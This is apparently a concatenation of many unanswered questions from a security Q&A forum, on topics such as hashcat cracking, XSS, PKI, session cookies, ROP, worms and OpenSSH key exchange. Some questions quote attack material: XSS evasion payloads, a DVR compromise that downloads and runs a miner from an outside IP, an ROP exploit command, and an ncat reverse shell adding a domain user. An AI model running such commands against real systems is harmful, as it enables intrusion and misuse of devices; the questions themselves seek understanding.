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I am practicing cracking MYSQL5 hash using hash cat, however, for a reason or another, it finishes the cracking process too fast -within 30 seconds- without giving any results/errors back. I doubted that I am using an incorrect hash type, however, I double checked using hash-identifier and other tools as well. Here is the output: root@k:~/Desktop# cat hash 63e5c2e178e611b692b526f8b6332317f2ff5513 root@k:~/Desktop# hashcat -m300 -a0 hash rockyou.txt Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size... Added hashes from file hash: 1 (1 salts) Activating quick-digest mode for single-hash NOTE: press enter for status-screen Input.Mode: Dict (rockyou.txt) Index.....: 1/5 (segment), 3627099 (words), 33550343 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: 796.54k plains, 796.54k words Progress..: 3627099/3627099 (100.00%) Running...: 00:00:00:04 Estimated.: --:--:--:-- Input.Mode: Dict (rockyou.txt) Index.....: 2/5 (segment), 3351796 (words), 33550341 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: 779.88k plains, 779.88k words Progress..: 3351796/3351796 (100.00%) Running...: 00:00:00:04 Estimated.: --:--:--:-- Input.Mode: Dict (rockyou.txt) Index.....: 3/5 (segment), 3323233 (words), 33550343 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: 724.21k plains, 724.21k words Progress..: 3323233/3323233 (100.00%) Running...: 00:00:00:05 Estimated.: --:--:--:-- Input.Mode: Dict (rockyou.txt) Index.....: 4/5 (segment), 3488103 (words), 33550343 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: 768.58k plains, 768.58k words Progress..: 3488103/3488103 (100.00%) Running...: 00:00:00:04 Estimated.: --:--:--:-- Input.Mode: Dict (rockyou.txt) Index.....: 5/5 (segment), 553093 (words), 5720127 (bytes) Recovered.: 0/1 hashes, 0/1 salts Speed/sec.: 824.46k plains, 824.46k words Progress..: 553093/553093 (100.00%) Running...: --:--:--:-- Estimated.: --:--:--:-- Started: Mon May 5 04:43:41 2014 Stopped: Mon May 5 04:44:17 2014 root@k:~/Desktop# I am really confused since I tried hashcat with other hashes and it works fine ! But why it did not work with this one ? Aside from this, I have seen multiple sites the provide cloud cracking for money. Does anybody have any recommendations/experience with such service ?
What's the procedure a certificate authority (CA) must follow to get internationally recognized, like Verisign or GlobalSign?
I was going through the OWASP XSS Filter Evasion Cheat Sheet and and I came across this section where there is an anchor tag used to do an XSS in the following forms: <A HREF="//google">XSS</A> <A HREF="http://ha.ckers.org@google">XSS</A> <A HREF="http://google:ha.ckers.org">XSS</A> I can imagine its use in a stored XSS attacks (like some forum post saying "Click me") but I cannot imagine its use in a Reflected XSS attack. Can anyone tell if it's possible to do a reflected XSS using the anchor tag? If yes, how?
I am curious to know if we require separate update server in our cloud based PCI environment. In our current setup webserver, appserver, dbserver, logserver, and jump server are independent instance. I am not sure if we can directly update (packages) of these Centos Linux servers from yum or we need local update server(Spacewalk) which sync from outside software repos and then sync packages internally.
I am using escapeXML StringEscapeUtils.escapeXml to prevent XSS in my Java application. But I am wondering if it resolves XSS to the fullest. I have tried some XSS attack vectors, and escapeXml seems to work fine. Basically most of the examples I tried included < , > etc. Are there any attack vectors which would make escapeXml fail ?
Doing a report. Having trouble understanding the concept. I need to talk about the following topic in relation to: How can the errors be detected? Can they be detected and corrected? If so, by what means? If someone could help explain this, that would be great.
I'm learning SAML, which is said to be centralized. To understand the difference with decentralized, I'm reading about OpenID. I find it difficult to understand the difference between the two, regarding centralization. OpenID is said to be decentralized because it supports multiple entities which authenticate users. But this is also the case with SAML. What makes OpenID decentralized and SAML centralized?
I'm a student and I'm working on an OTP authentication systeme based on OATH using smart phones as tokens for the clients. My problem is the protection the OTP seed at both client and validation server; encrypting the seed using a passphrase or a PIN is a solution. My question is if there is another methods to ensure the security of the OTP seed ? Thanks in advance. Have a nice day.
I would like to create a new GPG key. Going through a couple of thread it seems like the most popular scheme for maximum security is to have an offsite master (sign-only) key which provides a shell for a couple of daily-use subkeys. As the master key could probably serve one a lifetime I was thinking about putting only my real name into it without any email address as they possibly will change anyway over the years as well as nobody shall send an email to the master key as well. Is this a good practice, should i put a comment like (master signing key) or my birthday/birthplace in it? What would you recommend?
I would like to install a second hard drive on my laptop and use it as something like a sandbox, just for games and home, and the other for work and sensitive data only. Both hard drives have windows installed on them. What I need is a way to completely isolate them from each other so there is no way for a malware to spread from to the other: virtually unplug the hdd I'm not using, if you will. To be even more clear, suppose I'm intentionally gonna infect one HDD with the nastiest of the malwares, I need to make sure that it is impossible for it to spread to my other drive. Is there a way I can achieve this without having to physically remove the HDD I'm not going to use?
Recently I have faced a site that seems to implement something that we can call "one-time cookie". This cookie is used for single-sign on among different sites. In each request the server sends a Set-Cookie that sets a new session cookie that is used by the browser in the next request... This mechanism is supposed to reduce the risk of cookie theft. I suppose that it does not protect the cookie theft completely because if you steal the cookie before the user uses it, you can use it one time and get the new set-cookie...but it is more difficult for an attacker to use it. Does it have sense? It is a valid mechanism to avoid cookie theft?
When a session is closed, for example, when a timeout triggers or when the user clicks the logout button, the session should be terminated at server side so the session cookie is invalid. I think that it could be useful to also set to a blank or invalid value the session cookie in the browser, even if it is a temporary cookie. For example, when you click the Logout button the server could answer with a Set-Cookie that sets an invalid value for the cookie. Does this measure improve the security of the site or is this "too much" having into account that the cookie is temporary and the session is closed correctly in server-side?
I got this email from service@intl.paypal.com, with the title: Your account has been limited until we hear from you. I think this is a scam / spoof email because I don't see any notification in my Paypal account and this is Hotmail account is not used as my Paypal login. (It used to be not any more for more than a year.) But the troubling thing is, the TO: field has my old password as my name, then my email in brackets. A screenshot below should clarify what I'm saying. I've blurred my email and the two red arrows are pointing to what was my old password in plain text. Is there anything I could do to protect myself? Does that mean the sender has me under their "contact book" with my name as my password? I have already forwarded the email to spoof@paypal.com.
I want to store passport copies safely in a database, the database itself is a normal MySQL database and on a somewhat trusted web server. The user who owns the passport copy should only be able to upload his or her passport not view it. The approach I want to take consists of the following steps. Configuration: System administrator opens page via https Administrator submits a generated public key to the server and stores private key locally (on smart card or something not permanently attached to computer preferred) Passport storage: User opens page via https User selects passport copy (image) in browser and submits it to the server The server encrypts the image with the public RSA key and stores it in the database column Server overwrites any unencrypted copy in memory Passport retrieval: Admin opens page via https Server loads encrypted column and sends the encrypted image via AJAX to the admin browser The admin's browser loads the private key from a file or smarcard and decrypts the image using https://www.pidder.de/pidcrypt library The unencrypted image data is injected into the src attribute of a image tag. (I have not yet found a good way to load the private key in the browser) Questions: If the server is hacked and the database downloaded by the attacker, are the passport copies then safe? Is there a better way to ensure the copies are safe?
is it legal to do a security review/pentest of a web application that we bought and operate on our servers? Meaning, the whole infrastructure is ours + we bought a licence for the software. Can we do an in depth review of it? Or would this be breaking some laws against reverse engineering etc.? I'm interested in USA and EU laws. Many thanks
If you watch traffic in real time, you can see that an attacker doing a MiTM attack does ARP spoofing because MAC addresses will be duplicated, etc. And, well, you can see all MAC addresses and see who is a router and check if MAC addresses of the router match. But what if we know that an attack was done yesterday, for example? How can we find out which MAC address was ARP spoofing and sending fake certificates (let's assume user accepted that)? Let's say an attacker stole some bank account credentials on a site that uses HTTPS. Is it even possible?
On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and: This DVR has no "upload" feature. There is no wget nor is there an ftp or telnet client. ... The first echo writes 51 bytes to "/var/run/rand0-btcminer-arm" and the second echo returns "done", indicating that the system is ready for the next echo command. Unlike the name implies, "rand0-btcminer-arm" is not a bitcoin miner. Instead, it just appears to be a version of "wget". I do not understand how could even the basic fundamentals of wget fit in 51 bytes. The article contains a packet dump, so I guess I could write it to file and try to reverse engineer the binary but I suspect there's something else going on here. Could anyone help me understand how is this happening? Is the "binary" doing a library call to network functionalities?
I have a question about password hashing. This is not a question about the the BEST POSSIBLE method of hashing passwords, but rather a more utilitarian question about what is sufficient to hash a password without standard rainbow tables being an issue. Let me outline a hypothetical scenario. You have an application that is designed without unique salts, and for whatever design reasons, it would be a huge modification to change the application to work with a unique salt for each individual user. So instead of rewriting a huge part of the application, we are looking for a way to hash passwords that is more secure than a pure SHA1 (or whatever standard hashing algorithm), but doesn't involve unique salts. I'll give two examples of solutions that don't involve unique salts. They each have the obvious advantage of rendering a rainbow table for a pure SHA1 (or any other standard hashing algorithm) useless. Each does, however, have the disadvantage of being able to create a rainbow table for that particular strategy. But if you think about it, using a unique salt has the same vulnerability, if you were to target a single user. The simplest idea is to have a single salt for all passwords hard-coded. The second is to come up with a more complicated algorithm, such as splitting a password in two by a defined set of rules, hashing each, then hashing the concatenation of the two partial hashes and store that. This can be extended to any algorithm you like. Is this method sufficient for most applications? Neither is obviously as secure as a unique salt for each user, but if you were targeting a specific user it seems neither more nor less secure if you know the salt for that particular user. Is that correct? And is it a viable solution for some (or maybe most) cases?
Sorry for novice question. I am completely new here..... I am already familiar with Asp.net, JavaScript, Java, C++, etc. I know the theories behind attacks and protocols, but I want to see them in simulation systems. Do you know any simulators where I can try these (network attacks such as DOS, man in middle) on them?
In a classic PKI scenario, the certificate authority receives signing requests generated by an end-user which owns the keychain, and thus has his private key secret. Consider a scenario in which the CA not only signs certificates, but also generates the requests for the end-user, thus essentially having a copy of all the private keys in the system. What properties of the PKI are violated in this case? Which attack vectors does this scenario open? Edit: I should've mentioned this is not in the context of SSL/TLS. Rather, case in point is an organization acting as a CA (and VA, and RA), and creating identification cards for individuals.
Suppose I have this JavaScript malicious function f1() : <SCRIPT type="text/javascript"> function f1(){ a=1; b=2; c=a+b; } </SCRIPT> This function is embedded within a larger JavaScript program called myScript. I use a Python script called myScanner that reads myScript and warns me if f1() is present or not. myScanner works well. But I have no idea how to check all the possible forms of this malicious function in myScript in the case I change the name of those variables, or simply write the source code of f1() in an other way but that performs the same task. My question is: how could myScanner detect f1() whatever the changes made on it as long as it performs the same action ?
Does the Linux kernel use DEP internally for its kernel memory? In other words, does the Linux kernel take care to ensure that, when the kernel is executing (in kernel mode), every executable location in memory is non-writeable, and every writeable location in memory is non-executable? I've tried searching, but it's hard to find anything, both because most references about DEP in Linux refer to whether user-level address space has DEP protection, as well as because in the Linux kernel context, I get many hits that match on "dep" as the file extension. I recently learned that the Linux kernel doesn't presently use ASLR for kernel memory, for a variety of understandable reasons, which led me to wonder whether it uses DEP.
If remember right, then before I send a CSR (Certificate signing request) to the CA, I have to create private and public keys. Then I use the public key to encrypt my personal details before I send them to the CA as a CSR file. Why do I need the private key for? And how does the CA read my CSR if only I have my private key?
Say there is a website example.com. It hosts static content from a CDN, example.net. This site allows uploading an image, which will then be served from the CDN. This images can be SVGs and they are not filtered in any way, so they may contain arbitrary HTML content (including script tags). Would you consider this a security issue? On the one hand, it allows one to run code if someone accesses the image (say, by clicking on it in the context of example.com). On the other, it only runs under the CDN’s domain so you can’t steal cookies and such. It could be used to redirect to a malicious site though. Another note: The image is served with Content-Security-Policy:default-src 'none'; so the code runs only under IE.
I'm trying to find the best (most secure) configuration for the firewall in OpenWRT. I'm using LuCi to configure all the stuff. I have successfully created a VPN (OpenVPN). It is supposed the best way is create 3 zones (wan, lan and vpn) in the firewall and then configure it. My problem is if I create 3 zones, I cannot establish a tunnel in OpenVPN from internet to my router running OpenWRT. Only works when I set 1 zone including the 3: wan, lan and vpn (see attached image). Are you using a OpenVPN? how are you configuring the firewall for the VPN?
So I was doing some tests with the php session ID cookie. I know that data is stored on the server however, a cookie with a unique ID is stored so that the server can recognize the client while browsing. So, what happened is I got the ID of the cookie and opened firefox on a different computer, I edited that phpsession cookie to the id I had on the computer where I logged in... and bam, just as expected, I was logged in. All I could do to patch was to check that the http user agent and the first three group of numbers (xxx.xxx.xxx.123) of the IP do not change (to avoid the dynamic IP problem). I want to know though if using a permanent HTTPS connection will make the content of the php session ID un-hijackable, like someone getting into my computer, grabing the cookie content, and using it for themselves. Extra question, I know that security through obscurity is not good but is there a way of changing the cookie name to some acronym like ps or sid? EDIT: I do not thing this question is a duplicate because on the linked question the process to set this flags and configuration values is not mentioned.
I have be reading more and more about email spoofing and was curious how some things are done. I know in PHP you can simply do mail() and then include "From: spoofsender@provider.com" for example, but how would you spoof the whole header? Info such as sending IP address for example etc. Thanks
How can we trust our encryption methods if our random number generators are to be [assumed] compromised? Does encryption also depend on the random number generators of our hardware? I forgot to also say, if any of this is true, then how are we able to trust the companies that hold our data "securely". If the NSA has all of these backdoors into systems by the companies being forced to comply with the requests or them handing them over, is there no way to fix these vulnerabilities? Allow me to quote Edward Snowden, Thomas Drake, and Bruce Schneier regarding the assumption: We should [assume] that everything [that all encryption] is compromised by the NSA That is a pretty powerful statement coming from three Security Experts, which I strongly believe that we can trust their opinion.
We moved to RC4-MD5 as a mitigation to BEAST attack. But our other teams are saying to use DES-CBC3-SHA I want to know if DES-CBC3-SHA is also equivalent secure and mitigates BEAST as well ? Also are the browser compliance different for these ciphers ?
I am planning to secure my REST Web service (REST WS) using API KEY and NONCE VALUE. The REST WS is over SSL. The Userid / Password is encrypted and sent to Web Application hosting the REST WS where the Application decodes it and Authenticates it. Would there be any mechanism by which it can get hold of the UID / PSWD from Mobile App calling this REST WS or via a Client Browser ? In order to prevent this , lets say I apply NONCE , where the Client calls to get Nonce Value and then attaches this to UID and Password ? How do I secure the NONCE API over the web where browser or mobile can call it ?
I have two password protected zip(COmpression method: normal) file with the same content(aaa.txt(blank notepad)) and I opened the zips and this came up. First one's password is: abcd PK Rd¦D aaa.txtóH¼”„.‚ûÄFPK PK Rd¦D $ aaa.txt XÐ|ähÏXÐ|ähÏXÐ|ähÏPK Y A and the other one with the password: abcd123 PK Rd¦D aaa.txtÐBk¤Í"ã§GÞIÕPK PK Rd¦D $ aaa.txt XÐ|ähÏXÐ|ähÏXÐ|ähÏPK Y A Does this óH¼”„.‚ûÄFPK mean abcd and ÐBk¤Í"ã§GÞIÕPK mean abcd123? I need to know if this is possible because I have a password protected zip file with all my high school pictures there and i forgot the password. I can't even use those software because they always take too much days. Can I convert this texts to the password?
i am actually doing some tutorials about ROP on Linux. So i tried to follow the tutorial and compiled some of the example codes to try ROP in a small scope. But actually when i am trying to exploit the executables either get some message like: ./a.out "$(python -c 'print "A"*0x70 + "BBBB" + "\x00\x40\x06\x2d"')" *** stack smashing detected ***: ./a.out terminated So i tryed to compile the Binarys without the gcc Securityfeatures like: gcc -ggdb -o a.out -mpreferred-stack-boundary=4 myfirstrop.c -z execstack or gcc -ggdb -o a.out -fno-stack-protector -mpreferred-stack-boundary=4 myfirstrop.c -z execstack But i either get the stack smashing message or it prints some message like "Bus-error" So the question is, is there something like an overview of all the Security features enabled per default on Linux Debian/Ubuntu Systems? So i kann check them all and might disable them features. If not i have to install DVL in a VM and Start from there over again. Thanks in advance
I have read the question on HOTP implementation in KeePass HERE. This question is however on the other newer plugin KeeChallenge. According to the documentation, the a secret is encrypted and can only be decrypted using the TOTP. However if it is done so, isn't the weak link now the encrypted xml file (plus there is a recovery key backdoor) rather than the encryption algorithm of KeePass? As far as I can tell, things that KeePass does to keep itself safe from brute attacks (e.g. encrypt multiple times) is compromised by the use of this plugin. Am I right or did I miss something?
I have a 15 yr old daughter who's become not only a certified Microsoft Expert, but by pure accident, it came to my attention she'd long ago created a SPLIT network connection on our internet, HIDDEN from my view. I've had numerous problems such as errors when trying to open certain web pages...email/internet provider/security suite. Even just opening my browser in general, she's been able to make it appear our service isn't enabled. Finally my Internet Provider took hands on tech support & discovered "TeamViewer" & claimed that was just ONE of her techniques. He even had difficulty locating my router for quite some time. She managed somehow to gain yet again my laptop, changed all the settings & even did a system restore to correct recent auto updates I'd removed! I'm frustrated, feel I've been defeated by my own child, she's already created quite a history of havoc with compromising banking & has multiple alias user names to perform GOD only knows fraudulently. I truly feel HELPLESS, she's still doing this even after I took away her cell phone. Any suggestions would be appreciated. ALSO***I own a cheesy old Sanyo Incognito, BoostMobile, which is 3g. Please don't tell me it's possible she's able to tamper with my own personal info on IT as well?
Do signature-based antiviruses search for the exact matches of the signatures they have in their database with those of viruses to analyse ? I ask this question because I wonder if it is the reason why I often read that signature-based only antiviruses are outdated.
I read this article, about an exploit which highjacks a DVR to become a "bitcoin mining bot". The heart of the attack is to send a binary using just echo comands to the device, which acts as a trivial wget (the device does not have any wget on its own): echo -ne '\x00\x00\x00\x2f\x00\x00\x00\x1a\x00\x00 \x00\x00\x00\x00\x00\x05\x00\x00\x00\x00 \x00\x00\x00\x04\x00\x00\x00\x00\x00\x00 \x00\x31\x00\x00\x00\x00\x00 \x00\x00\x2a\x00\x00\x00\x1b\x00\x00\x00 \x14\x00\x00\x00' >> /var/run/rand0-btcminer-arm This binary is then used to get the bitcoin mining sw itself ./rand0-btcminer-arm http://107.178.66.153/btcminer-arm && \ chmod u+x btcminer-arm && ./btcminer-arm -B -o \ stratum+tcp://204.124.183.242:3333 -t 4 -q && echo -ne '\x64\x6f\x6e\x65' Can somebody please explain what exactly the echo command does, and how that works? Can really a few bytes representr a working "wget"?
I'm updating an iOS app and I want to prove that it is vulnerable to MiTM attack. I have set up Charles Proxy on my mac and configured the Simulator so that it trusts Charles CA Certificate, per these instructions: http://www.charlesproxy.com/documentation/faqs/ssl-connections-from-within-iphone-applications/ I am able to run the app and now I see the HTTPS traffic in Charles, in clear text. OK, Good. Is this enough to show MiTM vulnerability? I was thinking that to really prove it, I would need to set up a sniffer, etc. on a server on the network. But maybe this is too much work. Charles is a proxy, so is showing unencrypted traffic in Charles good enough?
Maltego Footprint L3 says: This perform a level 3 (intense) footprint on a domain. It takes a while and it eats resources. Use with care. Whose resources do they refer to? My resources or the domain's resources? I'm allowed to gather all the information I can from a domain, but I don't want to cause a DoS on them.
Today I read about a researcher who bought a digital TV recorder and connected it to the internet - probably using port forwarding to enable attackers to connect to the recorder. After a while someone was able to connect with Telnet, and upload software to mine bitcoins. If this is possible, other malware could be installed that tries to infect other computers in the network. Because these devices are not monitored they are ideal for hiding out. So your average Windows computer is infected with malware, it finds a tv recorder in your network, infects that. The Windows PC is cleaned of its malware, but the recorder stays undetected, and after a while it infects another computer, etc... How can I detect infected devices on my local network? What methods are there to prevent this from happening?
What websites give the latest information on zero day malware or other exploits newly introduced.
I find PGP to be quite a complex subject. I have gotten to a point where I need to give a client a public key for encryption. I have successfully done my homework, generating a public key from my Ubuntu desktop pushed it to keyserver.ubuntu.com, gotten a validation link, hustled to get Thunderbird open, read it, and validated it. Now I need to send a public key of an ubuntu 10.04 to a partner to encrypt stuff for me. I opted for using a keyserver as opposed to outputting the public key to a file. If I publish the key like explained before I will have use an email, and an encrypted validation mail(sent by launchpad it seems) will be sent to my inbox with a link to confirm the publication. My question is this: The private key is in the ubuntu server How do I decrypt that validation email in order to complete the publication process? We use google apps so I will probably access the encrypted email from my work machine which doesn't have the private key generated on the ubuntu server.
I am doing research on computer worms. I have been through several sites and a few caught my attention. I have learned that worms propagate through email, there are types such as XSS worm and most of them are written in scripting languages and some through c and c++ which aren't scripting languages. How is a worm made in c and c++ and is able to travel through the internet? Does it use some sort of protocol? I am not sure where to begin and how worms target vulnerabilities. I am looking for a small explanation and probably some sort of code that shows it exploiting a vulnerability. These are the sites I have visited and read: http://www.cse.wustl.edu/~jain/cse571-09/ftp/worms/ http://en.wikipedia.org/wiki/Computer_worm
I have an API and a web application that exist in different domains. I can activate CORS on the API to allow for the web application to interface with the API cross-domain. However it has been brought to my attention that some business, for corporate IT reasons, will opt to block cross-domain requests from their installed browsers for security reasons. If this is the case it is beyond my control. Can anyone comment on this? Has anyone working in corporate IT, or supporting web applications used by them, encountered such an issue before?
A Public key is certified by a Trusted Certifying authority, to ensure the integrity of the key and authenticity of the entity who claims to have the corresponding private key. In this Public Key Certificates, What are Implicit and Explicit Certificates?
In my class, we are discussing virtual machine based root kits. I've research root kits, but could not find any information specifically talking about how root kits work inside of virtual machines Can someone explain me in a few words how an attacker would carry a rootkit attack against the virtual machine and how he would implement malicious services or anything regarding how installing a root kit in a virtual machine is different than on a physical machine?
I have an ASUS RT-AC68U router and would like to set up port forwarding, but I would like to restrict which MAC addresses can connect through that port. My use case is that I'll have a live camera, and I want to connect to it remotely, but I only want myself and one other person to have access to it. Strong Username/Password are possible, but I want a layer of security on top of that, I want to limit it to pre-approved devices. Is this possible? If not, is there something else I can use, such as a MAC-restricted VPN? If it is possible, is it the best way to achieve this?
I found lot of articles describing about the heard bleed bug but can someone please explain the remedy for the heart bleed bug ?
In many countries, EMV is used to prevent credit and debit cards being cloned. But given that it's possible to perform online transactions using the details printed on the card, how does it add security?
As of today, I believe every major browser will by default reveal to a third-party site which site I came from, and more specifically, the exact URL I came from. What are the privacy implications of the "Referer" being shared, and is this a violation of cross-domain policy? I'm asking this in the context of a recent news story whereby URLs supposedly known only to the website provider and its user were leaked to third parties. To forestall any objections that URLs aren't private enough, let's just imagine a variant of HTTPS which doesn't encrypt the URLs "because they aren't supposed to be private".
I am using ncat for creating reverse connections and through that i open a cmd. my problem is that for commands that there is a lot of out put such as dir in a folder with a large number of files, ncat hangs before finishing the command. the same situation exists when i am executing a command against a domain such as net users username password /add /domain btw when i use the above command the user is never created for some reason. any help?
When running the command: openssl ciphers -v I get a long list of cipher combinations. I'm having issues interpreting some of them. An example is: DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(256) Mac=AEAD I thought the last part of the combination, in this case SHA384 would be the HMAC function. It seems it's been replaced by AEAD instead. Reading up on Authenticated Encryption with Associated Data (AEAD) it seems to be a class of block cipher modes, not a specific HMAC function. Could someone explain this further? Is SHA384 one of these modes? Is SHA384 used in the AES encryption somehow and then that algorithm re-used for the MAC?
I was reading an article which included an anecdote of someone who had nearly fallen for a phishing attack which: established a mock Halifax.co.uk website which replaced forward slashes in the legitimate URL with full stops. By chance I wondered if there was anything at the url http://h.alifax.co.uk was taken and if so if it was a phishing page. However, it turns out to be a page which randomly redirects you to other seemingly random websites (I got redirected to a site comparing diaper prices, and a travel site!). What is this? Is there anything sinister going on at all here?
I have been researching on computer worms that brought me to this topic of backdoors. According to my research, backdoors are malicious pieces of code that are inserted into either computers to get remote access to the target. I also learnt that usernames and passwords can be hard-coded into the program but I do not get what it means to hard-code and how it is done when writing the code for a backdoor. Please refer me to sites that show examples of backdoors and how they work. It is mainly for informational purposes and as mentioned earlier in my previous question, I am doing a research for school: "What languages are backdoors written in and how they work."
I want to try practicing MITMing raw TCP binary protocols as well as MITMing HTTP protocol. What is the best way to do this? Are there any specific tools which help me do this? Like wireshark or ZAP or Burp suite?
Earlier today I received a number of comments saying that my shared links were disabled. I looked around and saw a number of articles explaining what happened, and Dropbox posted an official statement For background, whenever you click on a link in any browser, the site you’re going to learns where you came from by something called a referer header. The referer header was designed to enable websites to better understand traffic sources. This is standard practice implemented across all browsers. Dropbox users can share links to any file or folder in their Dropbox. Files shared via links are only accessible to people who have the link. However, shared links to documents can be inadvertently disclosed to unintended recipients in the following scenario: A Dropbox user shares a link to a document that contains a hyperlink to a third-party website. The user, or an authorized recipient of the link, clicks on a hyperlink in the document. At that point, the referer header discloses the original shared link to the third-party website. Someone with access to that header, such as the webmaster of the third-party website, could then access the link to the shared document. Personally, I am not too clear what the vulnerability is, as I've always been under the assumption that a shared link is basically a public link, since I never actually specified WHO has access to it. For example, on Google Drive I can choose who has access to it, regardless whether they have the link or not. The next paragraph in their statement says that they have patched the vulnerability. How was this done? It looks like if someone managed to get ahold of your shared link, they're still going to have full access to it. At least, when I created new links to my shared folder, I didn't see anything different.
So when i do a tls handshake with the server, it responds with a cert chain which the browser verifies and which ends at a trusted root CA. In this the browser checks if the cert presented by the server is valid or it has expired/revoked. So my question is , is this done for each cert in the chain ? or just the leaf ? . Also, how does OS impact the behavior of the browser. I read somewhere that in case of EV certificates, OS settings are overriden, while the os can for revocation checking in other cases. I want a bit detailed understanding of how the chain is validated and what exactly does the CA bundle contain ?
Currently, I'm developing a bank related android app. I would share my knowledge and also maybe you guys are more expert than me so you can add your ideas to the list. Bank is a very special client. They really concern about security stuff. However, in the same time, they want to have very flexibility and great feature to comfort their users. I really think both security and convenience do not relate to each other. So what have I done are: Use SSL to communicate from app and web API. Using token authentication to ensure if the request to API is from official app. Most likely, I will use a shared token key that is updated every month. The token will be based on agreed random string, android id and the application id. To prevent reversed engineering, I use proguard for obfuscate the app itself. I am not really sure how secure are proguard but Java Class are very easily reversible. Hopefully, with proguard it may makes it harder. I also use MCSSID from simcard and Android ID to validate each user login and when application launched. Once, the SIMcard is changed, user need to re-register all information (such as CC number, mobile phone and OTP from bank). Also, the server will check once the android ID is not match. The server will flag the transaction with higher risk. Bank may call them to verify about their transaction. The app will not be able to run on Rooted devices. If the devices is rooted, it will not allow to continue and finish the running activity after alert. Also, in the future, I'm planning to regularly check user behavior login (such as, Time, Location based) to ensure if any unusual activity will be flag as high Risk From steps taken above, is there anything preventive action that I can push more in the security sides? Thanks
In SSL literature, I've noticed the use of the term "ad-hoc MAC". I understand the meaning of MAC (Message Authentication Code) and how it works, but what does the term Ad-hoc MAC mean? Note: With MAC, I mean Message Authentication Code (as used in SSLv3), not Media Access Control !
I am looking at this cluster of student work stations. They are diskless clients which boot from NFS. They also have sshd enabled. All of these machines share the same ssh host key (rsa,dsa,etc), because they boot from NFS. As NFS is not encrypted, the private keys are transferred in clear text anyways. This is not a huge problem, because the machines are on a separate VLAN and in theory you can only sniff the packages if you are root, which is unlikely to be the case. Besides this obvious problem (private keys transferred without encryption), is it a bad idea to share the host keys between those machines?
How does one implement a trial period in a product properly, e.g. a trial period that lasts 30 days, or limits the number of product uses to 10? Storing the entries, even in an encrypted form, isn't secure: Users can backup the registry values, and restore it it when the trial ends. What's the proper way to implement Time/Use Limited trial periods?
Imagine you are building a public service where you need to store the customer's cloud credentials(like their aws secret and access keys) in your database to regularly use by your backend services in the background to do things. What are some of the key risks involved and potential controls which can be implemented to protect unauthorized disclosure of the customers keys?
Is it common for small companies to get security certificates/compliance from audit agencies for their SaaS to present to customers for their assurance? If so what are the suggested certifications?
Imagine you have a master key to encrypt/decrypt the data saved in your database of your app service. What is the risk of having this key embedded in your app service code to store this key in the app server binary files? Can hackers get this key from the binary of your app server? If not, what is the best way to protect this master key if you are running in the cloud? The language used is C.
I get the basic OAuth and PKI flow and the different actors involved but I'm still unsure how public/private keys play a role. When a client identifies itself upon registration with a certified public key, is that key then bound to the access token?
When prompted to update their passwords after they've become stale (whether that's after 30, 60, 90 days — whatever is implemented by policy), many users simply increment the number that they may have been forced to add by the password policy. I'm interested to know just how prevalent this practice is — not necessarily who's actually doing it. Systems already keep a (hashed) password history to prevent immediate reuse. How bad would it be if I were to also keep a history of the ASCII sum of the plaintext and observe if that sum is incremented when the password is changed?
Consider the case where a computer has 2 drives: one for a Windows OS and one for a Linux OS. The user then uses full drive encryption, BitLocker, on the Windows drive. It can be assumed that Linux cannot read data from the encrypted drive in normal operation (barring bootkits or other exploits). But my question is about writing to the drive. Can Linux mount a BitLockered drive for writing? Will writing to an encrypted drive corrupt the entire drive? My assumption is that one cannot write to the drive because the file system table is encrypted, but I can find no documentation or discussion about this anywhere. I know that there is the unencrypted partition that is part of the BitLocker process, but I am not referencing that partition.
How can the host environment (not just the OS) be identified from a running guest VM. To determine what the underlying host and virtualization stacks being used actually are. I.e. whether there's a VMWare, Cisco, OpenStack or other IaaS solution powering it. I already know of imvirt and virt-what but they don't provide a lot more info than the basic type of virtualization used, like KVM, Xen, etc. How can I dig a level deeper and find out more specifics about the underlying stack and products being used. Are there any known reliable fingerprinting approaches? MAC address look ups don't seem to work Searching for Hardware vendor names in the output of dmidecode seems not reliable as these names are often customized and branded by the company running the infrastructure. How reliable are lspciresults like: 00:02.0 VGA compatible controller: VMware SVGA II Adapter 00:03.0 Ethernet controller: Red Hat, Inc Virtio network device 00:04.0 SCSI storage controller: Red Hat, Inc Virtio block device Does this mean that VMWare on Red Hat is used? Or does it mean nothing at all as these virtual devices can be used by anyone? Thanks PS: There is a related question here but quite old (from 08) and not quite the same: https://stackoverflow.com/questions/154163/detect-virtualized-os-from-an-application
Is there at present a way to open a SSH connection using pre-existing symmetric session keys? In other words, if I create a list of symmetric keys can I send that list to the recipient on a CD or USB key (or otherwise) and we can then connect without the use of a key exchange algorithm that generates and transmits the session key over the wire. My once-over of RFC4253's a key exchange section indicates that some sort of key exchange is mandatory, typically but not necessarily being one of Diffie-Hellman (RFC4419), RSA (RFC 4432), or GSSAPI (RFC4462). I was wondering if anyone had ever implemented external, pre-existing session keys. The algorithm for such a key exchange is degenerate, falling into one of at least two possible categories: one-time use or temporal. For one-time use, the key-exchange would be the client saying use key N where N is the next key the client believes to be unused. If the fifth key had already been used by the server, then the exchange fails. The client can then try the N+1. If the connection succeeds, the server then increments a next-valid-key index. One close alternative is to use date/time-based keys, where the chosen key is based on the date and time. In this way the keys would have a predictable temporal lifespan. One could, for example, share keys for the next 5 years with 15 minute granularity – for 256 bit (32 byte) AES keys this is only ~3.5MB (3,506,400 bytes). In any case, I would think there are folks who have done this but my searches have yielded no luck. The clear disadvantage is that the keys will have to be exchanged from time to time in another manner, but the symmetric keys need not ever be transferred over the same connection (or even medium) as the encrypted communication. There seems to be no built-in option for this. With OpenSSH_6.6p1, OpenSSL 1.0.1g 7 Apr 2014 on OS X/Mavericks, the kex algorithms are: $ ssh -Q kex diffie-hellman-group1-sha1 diffie-hellman-group14-sha1 diffie-hellman-group-exchange-sha1 diffie-hellman-group-exchange-sha256 ecdh-sha2-nistp256 ecdh-sha2-nistp384 ecdh-sha2-nistp521 diffie-hellman-group1-sha1 curve25519-sha256@libssh.org Is SSH inherently capable, or has anyone extended it, to implement a key exchange (or no key exchange at all) of the sorts described above?
